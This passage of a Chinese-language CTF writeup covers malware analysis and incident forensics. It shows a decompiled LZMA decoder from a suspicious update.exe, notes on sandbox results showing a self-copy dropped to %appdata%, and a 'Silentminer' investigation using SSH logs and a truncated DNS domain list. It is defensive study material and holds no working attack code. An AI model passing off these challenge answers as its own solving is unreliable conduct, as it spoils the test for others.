class="built_in">byte</span> <span class="title">DecodeNormal</span>(<span class="params">&lt;Module&gt;.Decoder A_1, <span class="built_in">uint</span> A_2, <span class="built_in">byte</span> A_3</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">this</span>.m_Coders[(<span class="built_in">int</span>)((UIntPtr)<span class="keyword">this</span>.GetState(A_2, A_3))].DecodeNormal(A_1);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000022 RID: 34 RVA: 0x0000893F File Offset: 0x00006B3F</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">byte</span> <span class="title">DecodeWithMatchByte</span>(<span class="params">&lt;Module&gt;.Decoder A_1, <span class="built_in">uint</span> A_2, <span class="built_in">byte</span> A_3, <span class="built_in">byte</span> A_4</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">this</span>.m_Coders[(<span class="built_in">int</span>)((UIntPtr)<span class="keyword">this</span>.GetState(A_2, A_3))].DecodeWithMatchByte(A_1, A_4);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000023 RID: 35 RVA: 0x000088DC File Offset: 0x00006ADC</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="title">LiteralDecoder</span>()</span></span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000021 RID: 33</span></span><br><span class="line"><span class="keyword">private</span> &lt;Module&gt;.LzmaDecoder.LiteralDecoder.Decoder2[] m_Coders;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000022 RID: 34</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">int</span> m_NumPosBits;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000023 RID: 35</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">int</span> m_NumPrevBits;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000024 RID: 36</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">uint</span> m_PosMask;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x02000009 RID: 9</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">struct</span> Decoder2</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x06000024 RID: 36 RVA: 0x0000895D File Offset: 0x00006B5D</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Create</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_Decoders = <span class="keyword">new</span> &lt;Module&gt;.BitDecoder[<span class="number">768</span>];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000025 RID: 37 RVA: 0x00009B14 File Offset: 0x00007D14</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Init</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">for</span> (<span class="built_in">int</span> i = <span class="number">0</span>; i &lt; <span class="number">768</span>; i++)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.m_Decoders[i].Init();</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000026 RID: 38 RVA: 0x00009B44 File Offset: 0x00007D44</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">byte</span> <span class="title">DecodeNormal</span>(<span class="params">&lt;Module&gt;.Decoder A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">1U</span>;</span><br><span class="line"><span class="keyword">do</span></span><br><span class="line">&#123;</span><br><span class="line">num = (num &lt;&lt; <span class="number">1</span> | <span class="keyword">this</span>.m_Decoders[(<span class="built_in">int</span>)((UIntPtr)num)].Decode(A_1));</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> (num &lt; <span class="number">256U</span>);</span><br><span class="line"><span class="keyword">return</span> (<span class="built_in">byte</span>)num;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000027 RID: 39 RVA: 0x00009B78 File Offset: 0x00007D78</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">byte</span> <span class="title">DecodeWithMatchByte</span>(<span class="params">&lt;Module&gt;.Decoder A_1, <span class="built_in">byte</span> A_2</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="number">1U</span>;</span><br><span class="line"><span class="keyword">for</span> (;;)</span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num2 = (<span class="built_in">uint</span>)(A_2 &gt;&gt; <span class="number">7</span> &amp; <span class="number">1</span>);</span><br><span class="line">A_2 = (<span class="built_in">byte</span>)(A_2 &lt;&lt; <span class="number">1</span>);</span><br><span class="line"><span class="built_in">uint</span> num3 = <span class="keyword">this</span>.m_Decoders[(<span class="built_in">int</span>)((UIntPtr)((<span class="number">1U</span> + num2 &lt;&lt; <span class="number">8</span>) + num))].Decode(A_1);</span><br><span class="line">num = (num &lt;&lt; <span class="number">1</span> | num3);</span><br><span class="line"><span class="keyword">if</span> (num2 != num3)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">break</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (num &gt;= <span class="number">256U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">goto</span> IL_5E;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> (num &lt; <span class="number">256U</span>)</span><br><span class="line">&#123;</span><br><span class="line">num = (num &lt;&lt; <span class="number">1</span> | <span class="keyword">this</span>.m_Decoders[(<span class="built_in">int</span>)((UIntPtr)num)].Decode(A_1));</span><br><span class="line">&#125;</span><br><span class="line">IL_5E:</span><br><span class="line"><span class="keyword">return</span> (<span class="built_in">byte</span>)num;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000025 RID: 37</span></span><br><span class="line"><span class="keyword">private</span> &lt;Module&gt;.BitDecoder[] m_Decoders;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0200000A RID: 10</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">class</span> <span class="title">OutWindow</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x06000028 RID: 40 RVA: 0x0000896F File Offset: 0x00006B6F</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Create</span>(<span class="params"><span class="built_in">uint</span> A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>._windowSize != A_1)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>._buffer = <span class="keyword">new</span> <span class="built_in">byte</span>[A_1];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>._windowSize = A_1;</span><br><span class="line"><span class="keyword">this</span>._pos = <span class="number">0U</span>;</span><br><span class="line"><span class="keyword">this</span>._streamPos = <span class="number">0U</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000029 RID: 41 RVA: 0x0000899C File Offset: 0x00006B9C</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Init</span>(<span class="params">Stream A_1, <span class="built_in">bool</span> A_2</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.ReleaseStream();</span><br><span class="line"><span class="keyword">this</span>._stream = A_1;</span><br><span class="line"><span class="keyword">if</span> (!A_2)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>._streamPos = <span class="number">0U</span>;</span><br><span class="line"><span class="keyword">this</span>._pos = <span class="number">0U</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600002A RID: 42 RVA: 0x000089BC File Offset: 0x00006BBC</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">ReleaseStream</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Flush();</span><br><span class="line"><span class="keyword">this</span>._stream = <span class="literal">null</span>;</span><br><span class="line">Buffer.BlockCopy(<span class="keyword">new</span> <span class="built_in">byte</span>[<span class="keyword">this</span>._buffer.Length], <span class="number">0</span>, <span class="keyword">this</span>._buffer, <span class="number">0</span>, <span class="keyword">this</span>._buffer.Length);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600002B RID: 43 RVA: 0x00009BE8 File Offset: 0x00007DE8</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Flush</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="keyword">this</span>._pos - <span class="keyword">this</span>._streamPos;</span><br><span class="line"><span class="keyword">if</span> (num == <span class="number">0U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>._stream.Write(<span class="keyword">this</span>._buffer, (<span class="built_in">int</span>)<span class="keyword">this</span>._streamPos, (<span class="built_in">int</span>)num);</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>._pos &gt;= <span class="keyword">this</span>._windowSize)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>._pos = <span class="number">0U</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>._streamPos = <span class="keyword">this</span>._pos;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600002C RID: 44 RVA: 0x00009C40 File Offset: 0x00007E40</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">CopyBlock</span>(<span class="params"><span class="built_in">uint</span> A_1, <span class="built_in">uint</span> A_2</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="keyword">this</span>._pos - A_1 - <span class="number">1U</span>;</span><br><span class="line"><span class="keyword">if</span> (num &gt;= <span class="keyword">this</span>._windowSize)</span><br><span class="line">&#123;</span><br><span class="line">num += <span class="keyword">this</span>._windowSize;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">while</span> (A_2 &gt; <span class="number">0U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (num &gt;= <span class="keyword">this</span>._windowSize)</span><br><span class="line">&#123;</span><br><span class="line">num = <span class="number">0U</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>._buffer[(<span class="built_in">int</span>)((UIntPtr)(<span class="keyword">this</span>._pos++))] = <span class="keyword">this</span>._buffer[(<span class="built_in">int</span>)((UIntPtr)(num++))];</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>._pos &gt;= <span class="keyword">this</span>._windowSize)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Flush();</span><br><span class="line">&#125;</span><br><span class="line">A_2 -= <span class="number">1U</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600002D RID: 45 RVA: 0x00009CBC File Offset: 0x00007EBC</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">PutByte</span>(<span class="params"><span class="built_in">byte</span> A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>._buffer[(<span class="built_in">int</span>)((UIntPtr)(<span class="keyword">this</span>._pos++))] = A_1;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>._pos &gt;= <span class="keyword">this</span>._windowSize)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Flush();</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600002E RID: 46 RVA: 0x00009CF8 File Offset: 0x00007EF8</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">byte</span> <span class="title">GetByte</span>(<span class="params"><span class="built_in">uint</span> A_1</span>)</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="built_in">uint</span> num = <span class="keyword">this</span>._pos - A_1 - <span class="number">1U</span>;</span><br><span class="line"><span class="keyword">if</span> (num &gt;= <span class="keyword">this</span>._windowSize)</span><br><span class="line">&#123;</span><br><span class="line">num += <span class="keyword">this</span>._windowSize;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">this</span>._buffer[(<span class="built_in">int</span>)((UIntPtr)num)];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0600002F RID: 47 RVA: 0x000088DC File Offset: 0x00006ADC</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="title">OutWindow</span>()</span></span><br><span class="line">&#123;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000026 RID: 38</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">byte</span>[] _buffer;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000027 RID: 39</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">uint</span> _pos;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000028 RID: 40</span></span><br><span class="line"><span class="keyword">private</span> Stream _stream;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x04000029 RID: 41</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">uint</span> _streamPos;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400002A RID: 42</span></span><br><span class="line"><span class="keyword">private</span> <span class="built_in">uint</span> _windowSize;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0200000B RID: 11</span></span><br><span class="line"><span class="keyword">private</span> <span class="keyword">struct</span> State</span><br><span class="line">&#123;</span><br><span class="line"><span class="comment">// Token: 0x06000030 RID: 48 RVA: 0x000089ED File Offset: 0x00006BED</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">Init</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Index = <span class="number">0U</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000031 RID: 49 RVA: 0x000089F6 File Offset: 0x00006BF6</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">UpdateChar</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.Index &lt; <span class="number">4U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Index = <span class="number">0U</span>;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span> (<span class="keyword">this</span>.Index &lt; <span class="number">10U</span>)</span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Index -= <span class="number">3U</span>;</span><br><span class="line"><span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">this</span>.Index -= <span class="number">6U</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000032 RID: 50 RVA: 0x00008A30 File Offset: 0x00006C30</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">UpdateMatch</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Index = ((<span class="keyword">this</span>.Index &lt; <span class="number">7U</span>) ? <span class="number">7U</span> : <span class="number">10U</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000033 RID: 51 RVA: 0x00008A46 File Offset: 0x00006C46</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">UpdateRep</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Index = ((<span class="keyword">this</span>.Index &lt; <span class="number">7U</span>) ? <span class="number">8U</span> : <span class="number">11U</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000034 RID: 52 RVA: 0x00008A5C File Offset: 0x00006C5C</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="keyword">void</span> <span class="title">UpdateShortRep</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">this</span>.Index = ((<span class="keyword">this</span>.Index &lt; <span class="number">7U</span>) ? <span class="number">9U</span> : <span class="number">11U</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x06000035 RID: 53 RVA: 0x00008A73 File Offset: 0x00006C73</span></span><br><span class="line"><span class="function"><span class="keyword">internal</span> <span class="built_in">bool</span> <span class="title">IsCharState</span>()</span></span><br><span class="line">&#123;</span><br><span class="line"><span class="keyword">return</span> <span class="keyword">this</span>.Index &lt; <span class="number">7U</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">// Token: 0x0400002B RID: 43</span></span><br><span class="line"><span class="keyword">internal</span> <span class="built_in">uint</span> Index;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">    </span><br></pre></td></tr></table></figure><p>再上一次沙箱，这次用 <code>update.exe</code></p><blockquote><p><a href="https://sandbox.ti.qianxin.com/sandbox/page/detail?id=f824677aa030d11ef52d9f5789eac4e275cd0091&type=file">https://sandbox.ti.qianxin.com/sandbox/page/detail?id=f824677aa030d11ef52d9f5789eac4e275cd0091&amp;type=file</a></p></blockquote><p>发现了释放了update452tmp.exe到 <code>%appdata%</code></p><p>再把这个拿出来上沙箱，好像没区别了，应该就是把自己复制一份放过去</p><p>那重点应该还是在 update.exe 上面</p><p>没招了</p><h2 id="Silentminer"><a href="#Silentminer" class="headerlink" title="Silentminer"></a>Silentminer</h2><blockquote><p>铛，铛，铛，洞穴里传来铁镐敲击石头的声音。<br>回答以下问题，每个问题都是一个单独的flag：</p><ol><li>攻击者的ip地址</li><li>攻击者共进行多少次ssh口令爆破失败？</li><li>后门文件路径的绝对路径</li><li>攻击者用户分发恶意文件的域名（注意系统时区）</li><li>挖矿病毒所属的家族（全小写）</li></ol></blockquote><p>SSH 日志能看到第一题的 IP，同时能查到第二题的数量</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Aug 10 10:00:14 lee-virtual-machine sshd[83820]: Accepted password for lee from 192.168.145.131 port 37864 ssh2</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/4916309b-1bd3-45e3-bf51-ab7235bf19b1-1758298447158-8.png"></p><p>修改了多次sshd文件，推测后门可能放在sshd service里面</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/7f3b6a00-a1ea-4053-bf6b-463ee8bfaba1-1758298447158-10.png"></p><p>从&#x2F;var&#x2F;log&#x2F;dnsmasq.log中提取dns记录和域名</p><p><img src="https://assets.bili33.top/img/CTF-GBACC2025-Preliminary-Round-Writeup/29db0c9d-743c-452d-ba8f-eea43564894f-1758298447158-9.png"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br><span class="line">181</span><br><span class="line">182</span><br><span class="line">183</span><br><span class="line">184</span><br><span class="line">185</span><br><span class="line">186</span><br><span class="line">187</span><br><span class="line">188</span><br><span class="line">189</span><br><span class="line">190</span><br><span class="line">191</span><br><span class="line">192</span><br><span class="line">193</span><br><span class="line">194</span><br><span class="line">195</span><br><span class="line">196</span><br><span class="line">197</span><br><span class="line">198</span><br><span class="line">199</span><br><span class="line">200</span><br><span class="line">201</span><br><span class="line">202</span><br><span class="line">203</span><br><span class="line">204</span><br><span class="line">205</span><br><span class="line">206</span><br><span class="line">207</span><br><span class="line">208</span><br><span class="line">209</span><br><span class="line">210</span><br><span class="line">211</span><br><span class="line">212</span><br><span class="line">213</span><br><span class="line">214</span><br><span class="line">215</span><br><span class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br></pre></td><td class="code"><pre><span class="line">1341512.sched.sma.tdnsstic1.cn</span><br><span class="line">488928.sched.skalego-dk.tdnsstic1.cn</span><br><span class="line">5015c0hc.sched.sma-dk.tdnsstic1.cn</span><br><span class="line">872923.sched.sma-dk.tdnsstic1.cn</span><br><span class="line">8n0p1hpu.sched.sma-dk.tdnsstic1.cn</span><br><span class="line">a-0001.a-msedge.net</span><br><span class="line">a.sinaimg.cn</span><br><span class="line">api.cupid.dns.iqiyi.com</span><br><span class="line">apigw-v6-data.video.iqiyi.com</span><br><span class="line">apigw-v6.iqiyi.com</span><br><span class="line">asinaimg.gslb.sinaedge.com</span><br><span class="line">aus5.mozilla.org</span><br><span class="line">ax.ifeng.com</span><br><span class="line">baidu.com</span><br><span class="line">balrog-aus5.r53-2.services.mozilla.com</span><br><span class="line">bd-l7-online-tob-default-ipv6.s.bdsa.cdnbuild.net</span><br><span class="line">best.sched.skalego-dk.tdnsstic1.cn</span><br><span class="line">best.sched.sma.tdnsstic1.cn</span><br><span class="line">bfdmirrors.s.tuna.tsinghua.edu.cn</span><br><span class="line">big1.ifengcdn.com</span><br><span class="line">c0.ifengimg.com</span><br><span class="line">c0.ifengimg.com.cdn.dnsv1.com</span><br><span class="line">c206825.edgekey.net</span><br><span class="line">cac-ocsp.digicert.com.edgekey.net</span><br><span class="line">cb.e.shifen.com</span><br><span class="line">cdn.globalsigncdn.com.cdn.cloudflare.net</span><br><span class="line">changelogs.ubuntu.com</span><br><span class="line">cm.adxvip.com</span><br><span class="line">cm.fastapi.net</span><br><span class="line">cn-bing-com.cn.a-0001.a-msedge.net</span><br><span class="line">cn.bing.com</span><br><span class="line">connectivity-check.ubuntu.com</span><br><span class="line">console.zhibo.ifeng.com</span><br><span class="line">content-signature-2.cdn.mozilla.net</span><br><span class="line">content-signature-chains.prod.autograph.services.mozaws.net</span><br><span class="line">contile.services.mozilla.com</span><br><span class="line">cook.iqiyi.com</span><br><span class="line">cpro.baidustatic.com</span><br><span class="line">cpro.baidustatic.com.a.bdydns.com</span><br><span class="line">cs3.ifengcdn.com</span><br><span class="line">cstaticdun.126.net</span><br><span class="line">cstaticdun.126.net.163jiasu.com</span><br><span class="line">cstaticdun.126.net.db8bff76.c.cdnhwc1.com</span><br><span class="line">d.ifengimg.com</span><br><span class="line">d.ifengimg.com.cdn.dnsv1.com</span><br><span class="line">d.sinaimg.cn</span><br><span class="line">daisy.ubuntu.com</span><br><span class="line">data.video.dns.iqiyi.com</span><br><span class="line">data.video.iqiyi.com</span><br><span class="line">datahub.zhihu.com</span><br><span class="line">detectportal.firefox.com</span><br><span class="line">detectportal.prod.mozaws.net</span><br><span class="line">dfp-business.iqiyi.com</span><br><span class="line">dmae5mr9.sched.sma.tdnsstic1.cn</span><br><span class="line">dsinaimg.gslb.sinaedge.com</span><br><span class="line">dsp.djc888.cn</span><br><span class="line">e206825.dsca.akamaiedge.net</span><br><span class="line">e3913.cd.akamaiedge.net</span><br><span class="line">e9qw5a14.sched.sma.tdnsstic1.cn</span><br><span class="line">eclick.baidu.com</span><br><span class="line">eclick.e.shifen.com</span><br><span class="line">err.ifengcloud.ifeng.com</span><br><span class="line">example.org</span><br><span class="line">f.video.weibocdn.com</span><br><span class="line">f10.baidu.com</span><br><span class="line">f10.baidu.com.a.bdydns.com</span><br><span class="line">fc4tn.baidu.com</span><br><span class="line">fc4tn.baidu.com.a.bdydns.com</span><br><span class="line">firefox.settings.services.mozilla.com</span><br><span class="line">fvideo.gslb.sinaedge.com</span><br><span class="line">fzv05913.sched.sma-dk.tdnsstic1.cn</span><br><span class="line">google.com</span><br><span class="line">h5.sinaimg.cn</span><br><span class="line">h5sinaimg.gslb.sinaedge.com</span><br><span class="line">hcdnw101.vip.cdnhwcbzj102.com</span><br><span class="line">hm.baidu.com</span><br><span class="line">hm.e.shifen.com</span><br><span class="line">i.sso.sina.com.cn</span><br><span class="line">img.cdn.iqiyi.com</span><br><span class="line">img.ifeng.com</span><br><span class="line">img.ifeng.com.cdn.dnsv1.com</span><br><span class="line">incoming.telemetry.mozilla.org</span><br><span class="line">iphuph98.sched.sma-dk.tdnsstic1.cn</span><br><span class="line">ipv4only.arpa</span><br><span class="line">ipv6-static.dns.iqiyi.com</span><br><span class="line">kln.grid.sinaedge.com</span><br><span class="line">lb-7pyifl1r-vkwri1j49sb230hx.clb.ap-beijing.tencentclb.com</span><br><span class="line">lb-7szg5pyd-8jgvnzhtb0d4qciw.clb.ap-beijing.tencentclb.com</span><br><span class="line">lb-tsn01-offline.zhihu.com</span><br><span class="line">login.sina.com.cn</span><br><span class="line">lupic.cdn.bcebos.com</span><br><span class="line">lupic.cdn.bcebos.com.a.bdydns.com</span><br><span 